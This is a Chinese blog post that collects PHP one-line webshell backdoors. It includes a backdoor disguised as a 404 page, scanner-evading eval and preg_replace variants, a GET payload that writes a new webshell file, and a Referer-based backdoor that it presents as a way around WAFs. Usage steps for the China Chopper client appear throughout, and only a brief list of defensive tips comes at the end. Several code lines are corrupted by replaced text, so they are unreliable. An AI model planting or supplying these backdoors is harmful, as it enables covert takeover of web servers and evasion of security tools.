• 梦想还是要有的,万一实现了呢...
  • 区块链论坛整装待发...

强悍的PHP一句话后门收集整理

PHP Vetrue 6个月前 (05-03) 194次浏览 0个评论 二维码链接

利用 404 页面隐藏 PHP 小马:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

404 页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

无特征隐藏 PHP 一句话:

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

将$_POST[‘code’]的内容赋值给$_SESSION[‘theCode’],然后执行$_SESSION[‘theCode’],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

超级隐蔽的 PHP 后门:

<?php $_GET[a]($_GET[b]);?>

仅用 GET 函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成 c.php 一句话木马,当传参 a 为 eval 时会报错木马生成失败,为 assert 时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

层级请求,编码运行 PHP 后门:

此方法用两个文件实现

文件 1

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}

文件 2

<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行 base64 编码
$code = base64_encode($code);
//构造 referer 字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门 url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);

通过 HTTP 请求中的 HTTP_REFERER 来运行经过 base64 编码的代码,来达到后门的效果,一般 waf 对 referer 这些检测要松一点,或者没有检测。用这个思路 bypass waf 不错。

PHP 后门生成工具 weevely

weevely 是一款针对 PHP 的 webshell 的自由软件,可用于模拟一个类似于 telnet 的连接 shell,weevely 通常用于 web 程序的漏洞利用,隐藏后门或者使用类似 telnet 的方式来代替 web 页面式的管理,weevely 生成的服务器端 php 代码是经过了 base64 编码的,所以可以骗过主流的杀毒软件和 IDS,上传服务器端代码后通常可以通过 weevely 直接运行。

weevely 所生成的 PHP 后门所使用的方法是现在比较主流的 base64 加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的 eval,system 等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的 Web 后门查杀工具进行扫描,结果显示该文件无任何威胁。

三个变形的一句话 PHP 木马

第一个

<?php ([email protected]$_GET[2])[email protected]$_($_POST[1])?>

在菜刀里写 http://site/1.php?2=assert 密码是 1

第二个

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

在菜刀里写 http://site/2.php?_=assert&__=eval($_POST[‘pass’]) 密码是 pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是 post 提交的。

第三个

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

str_rot13(‘riny’)即编码后的 eval,完全避开了关键字,又不失效果,让人吐血!

最后列几个高级的 PHP 一句话木马后门:

1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include ($filename);
//危险的 include 函数,直接编译任何文件为 php 格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include ($uid);
//危险的 include 函数,直接编译任何文件为 php 格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif 插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用 lanker 一句话客户端的专家模式执行相关的 php 语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>[email protected]_r($_POST1);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话
综上,这些 PHP 一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!

如何应对 PHP 一句话后门:

我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:

1,对 PHP 程序编写要有安全意识

2,服务器日志文件要经常看,经常备份

3,对每个站点进行严格的权限分配

4,对动态文件及目录经常批量安全审查

5,学会如何进行手工杀毒《即行为判断查杀》

6,时刻关注,或渗入活跃的网络安全营地

7,对服务器环境层级化处理,哪怕一个函数也可做规则

我们认为当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。

Vetrue , 版权所有丨如未注明 , 均为原创丨转载请注明原文链接
原文标题:强悍的 PHP 一句话后门收集整理
原文链接:https://vetrue.com/article/276.html
喜欢 (2)
发表我的评论
取消评论
表情 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址